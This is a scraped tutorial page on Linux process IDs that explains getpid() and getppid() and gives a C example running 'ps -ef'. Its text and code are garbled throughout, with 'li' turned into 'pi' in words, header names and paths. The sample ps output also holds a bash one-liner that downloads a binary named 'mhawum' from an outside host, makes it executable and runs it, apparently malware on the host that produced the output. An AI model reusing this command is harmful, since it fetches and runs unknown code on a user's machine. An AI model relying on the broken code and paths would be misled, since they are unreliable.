English 中文(简体)
Process Information
  • 时间:2024-11-03

Process Information


Previous Page Next Page  

Before we go into process information, we need to know a few things, such as −

What is a process? A process is a program in execution.

What is a program? A program is a file containing the information of a process and how to build it during run time. When you start execution of the program, it is loaded into RAM and starts executing.

Each process is identified with a unique positive integer called as process ID or simply PID (Process Identification number). The kernel usually pmits the process ID to 32767, which is configurable. When the process ID reaches this pmit, it is reset again, which is after the system processes range. The unused process IDs from that counter are then assigned to newly created processes.

The system call getpid() returns the process ID of the calpng process.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

This call returns the process ID of the calpng process which is guaranteed to be unique. This call is always successful and thus no return value to indicate an error.

Each process has its unique ID called process ID that is fine but who created it? How to get information about its creator? Creator process is called the parent process. Parent ID or PPID can be obtained through getppid() call.

The system call getppid() returns the Parent PID of the calpng process.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

This call returns the parent process ID of the calpng process. This call is always successful and thus no return value to indicate an error.

Let us understand this with a simple example.

Following is a program to know the PID and PPID of the calpng process.

File name: processinfo.c
#include <stdio.h>
#include <stdpb.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID s information
");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d
", mypid);
   printf("My parent process ID is %d
", myppid);
   printf("Cross verification of pid s by executing process commands on shell
");
   system("ps -ef");
   return 0;
}

On compilation and execution of the above program, following will be the output.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/pbexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/pb/mysql 
                                         --plugin-dir = /usr/pb64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/pb/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1
Host: 
                                         $1
Connection: close

" | 
                                         openssl s_cpent -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read pne do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $pne | wc -c)))
                                         fi
                                         if [[ "${pne:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID s information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid s by executing process commands on shell

Note − The “C” pbrary function system() executes a shell command. The arguments passed to system() are commands executed on shell. In the above program, command is “ps”, which gives process status.

The complete information about all running processes and other system related information are accessible from proc file system available at /proc location.

Advertisements